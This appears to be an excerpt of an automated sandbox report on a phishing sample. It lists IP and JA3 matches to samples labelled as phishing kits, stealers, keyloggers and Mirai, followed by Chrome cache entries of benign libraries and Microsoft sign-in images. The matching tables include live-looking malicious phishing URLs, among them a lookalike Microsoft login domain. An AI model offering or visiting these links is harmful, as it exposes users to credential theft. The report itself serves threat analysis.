	MetroHealthNow.com.pdf	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse	172.67.191.145
	https://248d0d7c.b6979dc2a0c182f7ec7a4aa7.workers.dev/?_kx=tT2g7RhPaXrh3A6Bckepfg.WnBBDP	Get hash	malicious	HTMLPhisher	Browse	104.21.30.213
	#U015e#U0113t#U0e19p.zip	Get hash	malicious	LummaC Stealer	Browse	104.21.96.1
	http://loginmlcrosoftonline365aftral.com.ribeiroautocapas.com.br/cgi-bin/reset/authorize?email=maurice@microsoft.com	Get hash	malicious	HTMLPhisher	Browse	172.64.149.4
	cbqF2LKJ5jjucHN.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	104.21.64.1
	PO#P18620782.exe	Get hash	malicious	Snake Keylogger	Browse	104.21.64.1
LILLY-ASUS	k03ldc.m68k.elf	Get hash	malicious	Unknown	Browse	43.58.219.13
	k03ldc.arm7.elf	Get hash	malicious	Mirai	Browse	40.165.203.143
	k03ldc.sh4.elf	Get hash	malicious	Unknown	Browse	40.242.114.238
	k03ldc.i686.elf	Get hash	malicious	Unknown	Browse	40.192.43.181
	k03ldc.i486.elf	Get hash	malicious	Unknown	Browse	43.193.77.183
	k03ldc.mpsl.elf	Get hash	malicious	Unknown	Browse	42.96.4.234
	k03ldc.x86_64.elf	Get hash	malicious	Unknown	Browse	42.131.171.37
	k03ldc.x86.elf	Get hash	malicious	Unknown	Browse	40.213.50.243
	https://www.google.com/url?q=https%3A%2F%2Foyabarista.com%2Fnoma%2F&sa=D&sntz=1&usg=AOvVaw3YbPsc8spAD07NqeZvY3XM#?889272784Family=ZW1pbmUueWF2dXpAYW1zdGVyZGFtLm5s	Get hash	malicious	HTMLPhisher	Browse	43.152.64.207
	https://warehouse.activecollab.com/api/v1/files/2025-03%2F6b41e8c7dd1c7dc31704dbbaafd8a7dddd52f0d014f34950cbb890517c91a5dccd0d76100094b7a8b05eea175fc9cfc52bf8eee6d86ac156fd1231e7e19b8b74.pdf/b70e0e536e6d8288f5b3bd3dd420ca9a/preview?intent=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJodHRwczpcL1wvbmV4dC1hcHAuYWN0aXZlY29sbGFiLmNvbVwvNDUzMzU1IiwiaWF0IjoxNzQyOTgxNzk0LCJleHAiOjE3NDMwNjgxOTQsImF1ZCI6Imh0dHBzOlwvXC93aC5hY3RpdmVjb2xsYWIuY29tIiwiZW1haWwiOiJhc2FoLnBsYXRvbkB0aGVmbHVlbnQub3JnIiwiaW50ZW50IjoicHJldmlldyIsImFjY291bnRfaWQiOjQ1MzM1NX0._BIncBpKkUSyFs4Yr-j7YjNs751308wRA21MzcsDZlY	Get hash	malicious	Unknown	Browse	43.128.240.50

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
28a2c9bd18a11de089ef85a160da29e4	https://www.transfernow.net/dl/20250327nEx48coZ	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse	204.79.197.222
	http://google.com	Get hash	malicious	CAPTCHA Scam ClickFix	Browse	204.79.197.222
	https://login.microsoftonline.com/redeem?rd=https%3a%2f%2finvitations.microsoft.com%2fredeem%2f%3ftenant%3d089a6470-d3a7-46a4-8852-73c0c698c729%26user%3d1f7621fb-e95b-459f-9e70-2ef3d5935926%26ticket%3dp5hN%25252fl8PpUcQKPkV0TMbs2ptO%25252bRNmG2KxgcRrL%25252bWsgY%25253d%26ver%3d2.0	Get hash	malicious	Unknown	Browse	204.79.197.222
	https://drive.google.com/file/d/1kIqioNl6vquOfrP8Bzo4IjVC1rv_7tzf/view	Get hash	malicious	Invisible JS, Tycoon2FA	Browse	204.79.197.222
	http://conciergemd.attn.tv/unrenderedCreative?v=4.39.3&r=https://www.google.com/&id=c2238b8557014791a5e6bd0bae8b74ea&pv=1&l=https://conciergemdla.com/blog/understanding-mounjaro-guide/&w=1912&h=928&ss_ref=https://www.google.com/&f=2	Get hash	malicious	Unknown	Browse	204.79.197.222
	G00gle_Wordspace2025.pdf	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse	204.79.197.222
	34271QB_EFT_Payment_Statemt02.svg	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse	204.79.197.222
	https://14qingchu.top	Get hash	malicious	HTMLPhisher	Browse	204.79.197.222
	http://socialsecurityupdate-files-519c76f91fjfk04.nod.free.hr/SSA/Windows/invite.php	Get hash	malicious	ScreenConnect Tool	Browse	204.79.197.222
	https://publuu.com/flip-book/831678/1829815?utm_source=google%252C+newsletter%252C+facebook%252C+bing&utm_medium=paid-search&utm_campaign=summer_sale-product_launch_e5e6475977744726be143cf8cd129b6e_1742989231156&utm_term=running%252Bshoes%252C+blue%252Bdress&utm_content=school%252C+education%252C+classroom	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse	204.79.197.222

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, max speed, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 1592
Category:	downloaded
Size (bytes):	621
Entropy (8bit):	7.673946009263606
Encrypted:	false
SSDEEP:	12:Xp7fmqfW/e4YC2L0E5DZLB62y/+6lbPa1Gotq8mdd2Xmy2QLBwxD+QkCfBJ:Xp6qf2SCk3LBpy/rtPa1GKq8mOX5jLcD
MD5:	4761405717E938D7E7400BB15715DB1E
SHA1:	76FED7C229D353A27DB3257F5927C1EAF0AB8DE9
SHA-256:	F7ED91A1DAB5BB2802A7A3B3890DF4777588CCBE04903260FBA83E6E64C90DDF
SHA-512:	E8DAC6F81EB4EBA2722E9F34DAF9B99548E5C40CCA93791FBEDA3DEBD8D6E401975FC1A75986C0E7262AFA1B9D1475E1008A89B92C8A7BEC84D8A917F221B4A2
Malicious:	false
Reputation:	high, very likely benign file
URL:	https://aadcdn.msauth.net/shared/1.0/content/images/signin-options_4e48046ce74f4b89d45037c90576bfac.svg
Preview:	..........}UMo"1..+.....G; .8l...M..$.U.AW......UaX..`'.=......\|..z3...Ms>..Y...QB..W..y..6.......?..........L.W=m....=..w.)...nw...a.z......#.y.j...m...P...#...6....6.u.u...OF.V..07b..\...s.f..U..N..B...>.d.-z..x.2..Lr.Rr)....JF.z.;Lh.....q.2.A....[.&".S..:......]........#k.U#57V..k5.tdM.j.9.FMQ2..H:.~op..H.......hQ.#...r[.T.$.@........j.xc.x0..I.B:#{iP1.e'..S4.:...mN.4)<W.A.).g.+..PZ&.$.#.6v.+.!...x...}.._...d...#.Cb..(..^k..h!..7.dx.WHB......(.6g.7.Wwt.I<.......o.;.....Oi$}f.6.....:P..!<5.(.p.e.%et.)w8LA.l9r..n.....?.F.DrK...H....0F...{.,.......{E..".......x.@..?u......../....8...

Chrome Cache Entry: 63

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (48664)
Category:	downloaded
Size (bytes):	48944
Entropy (8bit):	5.272507874206726
Encrypted:	false
SSDEEP:	768:9VG5R15WbHVKZrycEHSYro34CrSLB6WU/6DqBf4l1B:9VIRuo53XiwWTvl1B
MD5:	14D449EB8876FA55E1EF3C2CC52B0C17
SHA1:	A9545831803B1359CFEED47E3B4D6BAE68E40E99
SHA-256:	E7ED36CEEE5450B4243BBC35188AFABDFB4280C7C57597001DE0ED167299B01B
SHA-512:	00D9069B9BD29AD0DAA0503F341D67549CCE28E888E1AFFD1A2A45B64A4C1BC460D81CFC4751857F991F2F4FB3D2572FD97FCA651BA0C2B0255530209B182F22
Malicious:	false
Reputation:	high, very likely benign file
URL:	https://maxcdn.bootstrapcdn.com/bootstrap/4.0.0/js/bootstrap.min.js
Preview:	/!. Bootstrap v4.0.0 (https://getbootstrap.com). * Copyright 2011-2018 The Bootstrap Authors (https://github.com/twbs/bootstrap/graphs/contributors). * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE). */.!function(t,e){"object"==typeof exports&&"undefined"!=typeof module?e(exports,require("jquery"),require("popper.js")):"function"==typeof define&&define.amd?define(["exports","jquery","popper.js"],e):e(t.bootstrap={},t.jQuery,t.Popper)}(this,function(t,e,n){"use strict";function i(t,e){for(var n=0;n<e.length;n++){var i=e[n];i.enumerable=i.enumerable\|\|!1,i.configurable=!0,"value"in i&&(i.writable=!0),Object.defineProperty(t,i.key,i)}}function s(t,e,n){return e&&i(t.prototype,e),n&&i(t,n),t}function r(){return(r=Object.assign\|\|function(t){for(var e=1;e<arguments.length;e++){var n=arguments[e];for(var i in n)Object.prototype.hasOwnProperty.call(n,i)&&(t[i]=n[i])}return t}).apply(this,arguments)}e=e&&e.hasOwnProperty("default")?e.default:e,n=n&&n.hasOwnProp

Chrome Cache Entry: 64

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows icon resource - 6 icons, -128x-128, 16 colors, 72x72, 16 colors
Category:	dropped
Size (bytes):	17174
Entropy (8bit):	2.9129715116732746
Encrypted:	false
SSDEEP:	24:QSNTmTFxg4lyyyyyyyyyyyyyio7eeeeeeeeekzgsLsLsLsLsLsQZp:nfgyyyyyyyyyyyyynzQQQQQO
MD5:	12E3DAC858061D088023B2BD48E2FA96
SHA1:	E08CE1A144ECEAE0C3C2EA7A9D6FBC5658F24CE5
SHA-256:	90CDAF487716184E4034000935C605D1633926D348116D198F355A98B8C6CD21
SHA-512:	C5030C55A855E7A9E20E22F4C70BF1E0F3C558A9B7D501CFAB6992AC2656AE5E41B050CCAC541EFA55F9603E0D349B247EB4912EE169D44044271789C719CD01
Malicious:	false
Reputation:	high, very likely benign file
Preview:	..............h(..f...HH...........(..00......h....6.. ...........=...............@..........(....A..(....................(....................................."P.........................................."""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333""""""""""""""""""""""""""

Chrome Cache Entry: 65

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (32012)
Category:	downloaded
Size (bytes):	69597
Entropy (8bit):	5.369216080582935
Encrypted:	false
SSDEEP:	1536:qNhEyjjTikEJO4edXXe9J578go6MWX2xkjVe4c4j2ll2Ac7pK3F71QDU8CuT:Exc2yjq4j2uYnQDU8CuT
MD5:	5F48FC77CAC90C4778FA24EC9C57F37D
SHA1:	9E89D1515BC4C371B86F4CB1002FD8E377C1829F
SHA-256:	9365920887B11B33A3DC4BA28A0F93951F200341263E3B9CEFD384798E4BE398
SHA-512:	CAB8C4AFA1D8E3A8B7856EE29AE92566D44CEEAD70C8D533F2C98A976D77D0E1D314719B5C6A473789D8C6B21EBB4B89A6B0EC2E1C9C618FB1437EBC77D3A269
Malicious:	false
Reputation:	high, very likely benign file
URL:	https://code.jquery.com/jquery-3.2.1.slim.min.js
Preview:	/! jQuery v3.2.1 -ajax,-ajax/jsonp,-ajax/load,-ajax/parseXML,-ajax/script,-ajax/var/location,-ajax/var/nonce,-ajax/var/rquery,-ajax/xhr,-manipulation/_evalUrl,-event/ajax,-effects,-effects/Tween,-effects/animatedSelector \| (c) JS Foundation and other contributors \| jquery.org/license /.!function(a,b){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=a.document?b(a,!0):function(a){if(!a.document)throw new Error("jQuery requires a window with a document");return b(a)}:b(a)}("undefined"!=typeof window?window:this,function(a,b){"use strict";var c=[],d=a.document,e=Object.getPrototypeOf,f=c.slice,g=c.concat,h=c.push,i=c.indexOf,j={},k=j.toString,l=j.hasOwnProperty,m=l.toString,n=m.call(Object),o={};function p(a,b){b=b\|\|d;var c=b.createElement("script");c.text=a,b.head.appendChild(c).parentNode.removeChild(c)}var q="3.2.1 -ajax,-ajax/jsonp,-ajax/load,-ajax/parseXML,-ajax/script,-ajax/var/location,-ajax/var/nonce,-ajax/var/rquery,-ajax/xhr,-manipulation/_e

Chrome Cache Entry: 66

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	downloaded
Size (bytes):	1864
Entropy (8bit):	5.222032823730197
Encrypted:	false
SSDEEP:	48:yvswNIBLBpJawmMH44log6gw/MHm7pJroog6gwkMH9Xog6gwdMHdqdyqog7C:ykfXYx+odPcs9B
MD5:	BC3D32A696895F78C19DF6C717586A5D
SHA1:	9191CB156A30A3ED79C44C0A16C95159E8FF689D
SHA-256:	0E88B6FCBB8591EDFD28184FA70A04B6DD3AF8A14367C628EDD7CABA32E58C68
SHA-512:	8D4F38907F3423A86D90575772B292680F7970527D2090FC005F9B096CC81D3F279D59AD76EAFCA30C3D4BBAF2276BBAA753E2A46A149424CF6F1C319DED5A64
Malicious:	false
Reputation:	high, very likely benign file
URL:	https://aadcdn.msftauth.net/shared/1.0/content/images/backgrounds/2_bc3d32a696895f78c19df6c717586a5d.svg
Preview:	<svg xmlns="http://www.w3.org/2000/svg" width="1920" height="1080" fill="none"><g opacity=".2" clip-path="url(#E)"><path d="M1466.4 1795.2c950.37 0 1720.8-627.52 1720.8-1401.6S2416.77-1008 1466.4-1008-254.4-380.482-254.4 393.6s770.428 1401.6 1720.8 1401.6z" fill="url(#A)"/><path d="M394.2 1815.6c746.58 0 1351.8-493.2 1351.8-1101.6S1140.78-387.6 394.2-387.6-957.6 105.603-957.6 714-352.38 1815.6 394.2 1815.6z" fill="url(#B)"/><path d="M1548.6 1885.2c631.92 0 1144.2-417.45 1144.2-932.4S2180.52 20.4 1548.6 20.4 404.4 437.85 404.4 952.8s512.276 932.4 1144.2 932.4z" fill="url(#C)"/><path d="M265.8 1215.6c690.246 0 1249.8-455.595 1249.8-1017.6S956.046-819.6 265.8-819.6-984-364.005-984 198-424.445 1215.6 265.8 1215.6z" fill="url(#D)"/></g><defs><radialGradient id="A" cx="0" cy="0" r="1" gradientUnits="userSpaceOnUse" gradientTransform="translate(1466.4 393.6) rotate(90) scale(1401.6 1720.8)"><stop stop-color="#107c10"/><stop offset="1" stop-color="#c4c4c4" stop-opacity="0"/></radialGradient><r

Chrome Cache Entry: 67

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 2016 x 2016, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	21873
Entropy (8bit):	2.877142515573533
Encrypted:	false
SSDEEP:	384:OR1111111118111111111111111111111111111111111111111111111111111l:OO
MD5:	568F3323A159C49C955A6E9E5CE8AC4D
SHA1:	9F2A67B5CC72217B67EBB5C0B63556D70C4795C3
SHA-256:	4E19539141237AAB02BA7D5E9657823C29907581024BADB76B1026F739BDC7B5
SHA-512:	00F9B53896F031CACC067061DD39AB3E7EDD0FD450456029212A0649F6A1A5C2895D7CDB72214851F63529D3E22BDADD23C0A991AB32DF55C8E8B646D789B42B
Malicious:	false
Preview:	.PNG........IHDR...............A.....tEXtSoftware.Adobe ImageReadyq.e<... iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.0-c060 61.134777, 2010/02/12-17:32:00 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photoshop CS5 Windows" xmpMM:InstanceID="xmp.iid:D102A13741CE11E6A31DDAB08C35506E" xmpMM:DocumentID="xmp.did:D102A13841CE11E6A31DDAB08C35506E"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:D102A13541CE11E6A31DDAB08C35506E" stRef:documentID="xmp.did:D102A13641CE11E6A31DDAB08C35506E"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>.A....Q.IDATx...?..Q.........0..H.B.lcVA5....PLc...VD.EC.5.`.;..y.sN..or..t:........>gl.........<...........<.........x...

Chrome Cache Entry: 68

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	dropped
Size (bytes):	1864
Entropy (8bit):	5.222032823730197
Encrypted:	false
SSDEEP:	48:yvswNIBLBpJawmMH44log6gw/MHm7pJroog6gwkMH9Xog6gwdMHdqdyqog7C:ykfXYx+odPcs9B
MD5:	BC3D32A696895F78C19DF6C717586A5D
SHA1:	9191CB156A30A3ED79C44C0A16C95159E8FF689D
SHA-256:	0E88B6FCBB8591EDFD28184FA70A04B6DD3AF8A14367C628EDD7CABA32E58C68
SHA-512:	8D4F38907F3423A86D90575772B292680F7970527D2090FC005F9B096CC81D3F279D59AD76EAFCA30C3D4BBAF2276BBAA753E2A46A149424CF6F1C319DED5A64
Malicious:	false
Preview:	<svg xmlns="http://www.w3.org/2000/svg" width="1920" height="1080" fill="none"><g opacity=".2" clip-path="url(#E)"><path d="M1466.4 1795.2c950.37 0 1720.8-627.52 1720.8-1401.6S2416.77-1008 1466.4-1008-254.4-380.482-254.4 393.6s770.428 1401.6 1720.8 1401.6z" fill="url(#A)"/><path d="M394.2 1815.6c746.58 0 1351.8-493.2 1351.8-1101.6S1140.78-387.6 394.2-387.6-957.6 105.603-957.6 714-352.38 1815.6 394.2 1815.6z" fill="url(#B)"/><path d="M1548.6 1885.2c631.92 0 1144.2-417.45 1144.2-932.4S2180.52 20.4 1548.6 20.4 404.4 437.85 404.4 952.8s512.276 932.4 1144.2 932.4z" fill="url(#C)"/><path d="M265.8 1215.6c690.246 0 1249.8-455.595 1249.8-1017.6S956.046-819.6 265.8-819.6-984-364.005-984 198-424.445 1215.6 265.8 1215.6z" fill="url(#D)"/></g><defs><radialGradient id="A" cx="0" cy="0" r="1" gradientUnits="userSpaceOnUse" gradientTransform="translate(1466.4 393.6) rotate(90) scale(1401.6 1720.8)"><stop stop-color="#107c10"/><stop offset="1" stop-color="#c4c4c4" stop-opacity="0"/></radialGradient><r

Chrome Cache Entry: 69

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (50758)
Category:	downloaded
Size (bytes):	51039
Entropy (8bit):	5.247253437401007
Encrypted:	false
SSDEEP:	768:E9Yw7GuJM+HV0cen/7Kh5rM7V4RxCKg8FW/xsXQUd+FiID65r48Hgp5HRl+:E9X7PMIM7V4R5LFAxTWyuHHgp5HRl+
MD5:	67176C242E1BDC20603C878DEE836DF3
SHA1:	27A71B00383D61EF3C489326B3564D698FC1227C
SHA-256:	56C12A125B021D21A69E61D7190CEFA168D6C28CE715265CEA1B3B0112D169C4
SHA-512:	9FA75814E1B9F7DB38FE61A503A13E60B82D83DB8F4CE30351BD08A6B48C0D854BAF472D891AF23C443C8293380C2325C7B3361B708AF9971AA0EA09A25CDD0A
Malicious:	false
URL:	https://stackpath.bootstrapcdn.com/bootstrap/4.1.3/js/bootstrap.min.js
Preview:	/!. Bootstrap v4.1.3 (https://getbootstrap.com/). * Copyright 2011-2018 The Bootstrap Authors (https://github.com/twbs/bootstrap/graphs/contributors). * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE). */.!function(t,e){"object"==typeof exports&&"undefined"!=typeof module?e(exports,require("jquery"),require("popper.js")):"function"==typeof define&&define.amd?define(["exports","jquery","popper.js"],e):e(t.bootstrap={},t.jQuery,t.Popper)}(this,function(t,e,h){"use strict";function i(t,e){for(var n=0;n<e.length;n++){var i=e[n];i.enumerable=i.enumerable\|\|!1,i.configurable=!0,"value"in i&&(i.writable=!0),Object.defineProperty(t,i.key,i)}}function s(t,e,n){return e&&i(t.prototype,e),n&&i(t,n),t}function l(r){for(var t=1;t<arguments.length;t++){var o=null!=arguments[t]?arguments[t]:{},e=Object.keys(o);"function"==typeof Object.getOwnPropertySymbols&&(e=e.concat(Object.getOwnPropertySymbols(o).filter(function(t){return Object.getOwnPropertyDescriptor(o,t).enum

Chrome Cache Entry: 70

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (19015)
Category:	downloaded
Size (bytes):	19188
Entropy (8bit):	5.212814407014048
Encrypted:	false
SSDEEP:	384:+CbuG4xGNoDic2UjKPafxwC5b/4xQviOJU7QzxzivDdE3pcGdjkd/9jt3B+Kb964:zb4xGmiJfaf7gxQvVU7eziv+cSjknZ3f
MD5:	70D3FDA195602FE8B75E0097EED74DDE
SHA1:	C3B977AA4B8DFB69D651E07015031D385DED964B
SHA-256:	A52F7AA54D7BCAAFA056EE0A050262DFC5694AE28DEE8B4CAC3429AF37FF0D66
SHA-512:	51AFFB5A8CFD2F93B473007F6987B19A0A1A0FB970DDD59EF45BD77A355D82ABBBD60468837A09823496411E797F05B1F962AE93C725ED4C00D514BA40269D14
Malicious:	false
URL:	https://cdnjs.cloudflare.com/ajax/libs/popper.js/1.12.9/umd/popper.min.js
Preview:	/. Copyright (C) Federico Zivolo 2017. Distributed under the MIT License (license terms are at http://opensource.org/licenses/MIT).. /(function(e,t){'object'==typeof exports&&'undefined'!=typeof module?module.exports=t():'function'==typeof define&&define.amd?define(t):e.Popper=t()})(this,function(){'use strict';function e(e){return e&&'[object Function]'==={}.toString.call(e)}function t(e,t){if(1!==e.nodeType)return[];var o=getComputedStyle(e,null);return t?o[t]:o}function o(e){return'HTML'===e.nodeName?e:e.parentNode\|\|e.host}function n(e){if(!e)return document.body;switch(e.nodeName){case'HTML':case'BODY':return e.ownerDocument.body;case'#document':return e.body;}var i=t(e),r=i.overflow,p=i.overflowX,s=i.overflowY;return /(auto\|scroll)/.test(r+s+p)?e:n(o(e))}function r(e){var o=e&&e.offsetParent,i=o&&o.nodeName;return i&&'BODY'!==i&&'HTML'!==i?-1!==['TD','TABLE'].indexOf(o.nodeName)&&'static'===t(o,'position')?r(o):o:e?e.ownerDocument.documentElement:document.documentElement}functio

Chrome Cache Entry: 71

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 2016 x 2016, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	21873
Entropy (8bit):	2.877142515573533
Encrypted:	false
SSDEEP:	384:OR1111111118111111111111111111111111111111111111111111111111111l:OO
MD5:	568F3323A159C49C955A6E9E5CE8AC4D
SHA1:	9F2A67B5CC72217B67EBB5C0B63556D70C4795C3
SHA-256:	4E19539141237AAB02BA7D5E9657823C29907581024BADB76B1026F739BDC7B5
SHA-512:	00F9B53896F031CACC067061DD39AB3E7EDD0FD450456029212A0649F6A1A5C2895D7CDB72214851F63529D3E22BDADD23C0A991AB32DF55C8E8B646D789B42B
Malicious:	false
URL:	https://res.cloudinary.com/dxetjqzbe/image/upload/v1742052868/6059C6BA-9C9F-4199-8218-8895A9F0C3C8_ctielh.png
Preview:	.PNG........IHDR...............A.....tEXtSoftware.Adobe ImageReadyq.e<... iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.0-c060 61.134777, 2010/02/12-17:32:00 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photoshop CS5 Windows" xmpMM:InstanceID="xmp.iid:D102A13741CE11E6A31DDAB08C35506E" xmpMM:DocumentID="xmp.did:D102A13841CE11E6A31DDAB08C35506E"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:D102A13541CE11E6A31DDAB08C35506E" stRef:documentID="xmp.did:D102A13641CE11E6A31DDAB08C35506E"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>.A....Q.IDATx...?..Q.........0..H.B.lcVA5....PLc...VD.EC.5.`.;..y.sN..or..t:........>gl.........<...........<.........x...

Chrome Cache Entry: 72

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, max speed, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 1592
Category:	dropped
Size (bytes):	621
Entropy (8bit):	7.673946009263606
Encrypted:	false
SSDEEP:	12:Xp7fmqfW/e4YC2L0E5DZLB62y/+6lbPa1Gotq8mdd2Xmy2QLBwxD+QkCfBJ:Xp6qf2SCk3LBpy/rtPa1GKq8mOX5jLcD
MD5:	4761405717E938D7E7400BB15715DB1E
SHA1:	76FED7C229D353A27DB3257F5927C1EAF0AB8DE9
SHA-256:	F7ED91A1DAB5BB2802A7A3B3890DF4777588CCBE04903260FBA83E6E64C90DDF
SHA-512:	E8DAC6F81EB4EBA2722E9F34DAF9B99548E5C40CCA93791FBEDA3DEBD8D6E401975FC1A75986C0E7262AFA1B9D1475E1008A89B92C8A7BEC84D8A917F221B4A2
Malicious:	false
Preview:	..........}UMo"1..+.....G; .8l...M..$.U.AW......UaX..`'.=......\|..z3...Ms>..Y...QB..W..y..6.......?..........L.W=m....=..w.)...nw...a.z......#.y.j...m...P...#...6....6.u.u...OF.V..07b..\...s.f..U..N..B...>.d.-z..x.2..Lr.Rr)....JF.z.;Lh.....q.2.A....[.&".S..:......]........#k.U#57V..k5.tdM.j.9.FMQ2..H:.~op..H.......hQ.#...r[.T.$.@........j.xc.x0..I.B:#{iP1.e'..S4.:...mN.4)<W.A.).g.+..PZ&.$.#.6v.+.!...x...}.._...d...#.Cb..(..^k..h!..7.dx.WHB......(.6g.7.Wwt.I<.......o.;.....Oi$}f.6.....:P..!<5.(.p.e.%et.)w8LA.l9r..n.....?.F.DrK...H....0F...{.,.......{E..".......x.@..?u......../....8...

Chrome Cache Entry: 73

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (32065)
Category:	downloaded
Size (bytes):	85578
Entropy (8bit):	5.366055229017455
Encrypted:	false
SSDEEP:	1536:EYE1JVoiB9JqZdXXe2pD3PgoIiulrUndZ6a4tfOR7WpfWBZ2BJda4w9W3qG9a986:v4J+OlfOhWppCW6G9a98Hr2
MD5:	2F6B11A7E914718E0290410E85366FE9
SHA1:	69BB69E25CA7D5EF0935317584E6153F3FD9A88C
SHA-256:	05B85D96F41FFF14D8F608DAD03AB71E2C1017C2DA0914D7C59291BAD7A54F8E
SHA-512:	0D40BCCAA59FEDECF7243D63B33C42592541D0330FEFC78EC81A4C6B9689922D5B211011CA4BE23AE22621CCE4C658F52A1552C92D7AC3615241EB640F8514DB
Malicious:	false
URL:	https://ajax.googleapis.com/ajax/libs/jquery/2.2.4/jquery.min.js
Preview:	/! jQuery v2.2.4 \| (c) jQuery Foundation \| jquery.org/license /.!function(a,b){"object"==typeof module&&"object"==typeof module.exports?module.exports=a.document?b(a,!0):function(a){if(!a.document)throw new Error("jQuery requires a window with a document");return b(a)}:b(a)}("undefined"!=typeof window?window:this,function(a,b){var c=[],d=a.document,e=c.slice,f=c.concat,g=c.push,h=c.indexOf,i={},j=i.toString,k=i.hasOwnProperty,l={},m="2.2.4",n=function(a,b){return new n.fn.init(a,b)},o=/^[\s\uFEFF\xA0]+\|[\s\uFEFF\xA0]+$/g,p=/^-ms-/,q=/-([\da-z])/gi,r=function(a,b){return b.toUpperCase()};n.fn=n.prototype={jquery:m,constructor:n,selector:"",length:0,toArray:function(){return e.call(this)},get:function(a){return null!=a?0>a?this[a+this.length]:this[a]:e.call(this)},pushStack:function(a){var b=n.merge(this.constructor(),a);return b.prevObject=this,b.context=this.context,b},each:function(a){return n.each(this,a)},map:function(a){return this.pushStack(n.map(this,function(b,c){return a.call

Chrome Cache Entry: 74

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows icon resource - 6 icons, -128x-128, 16 colors, 72x72, 16 colors
Category:	downloaded
Size (bytes):	17174
Entropy (8bit):	2.9129715116732746
Encrypted:	false
SSDEEP:	24:QSNTmTFxg4lyyyyyyyyyyyyyio7eeeeeeeeekzgsLsLsLsLsLsQZp:nfgyyyyyyyyyyyyynzQQQQQO
MD5:	12E3DAC858061D088023B2BD48E2FA96
SHA1:	E08CE1A144ECEAE0C3C2EA7A9D6FBC5658F24CE5
SHA-256:	90CDAF487716184E4034000935C605D1633926D348116D198F355A98B8C6CD21
SHA-512:	C5030C55A855E7A9E20E22F4C70BF1E0F3C558A9B7D501CFAB6992AC2656AE5E41B050CCAC541EFA55F9603E0D349B247EB4912EE169D44044271789C719CD01
Malicious:	false
URL:	https://aadcdn.msauth.net/ests/2.1/content/images/favicon_a_eupayfgghqiai7k9sol6lg2.ico
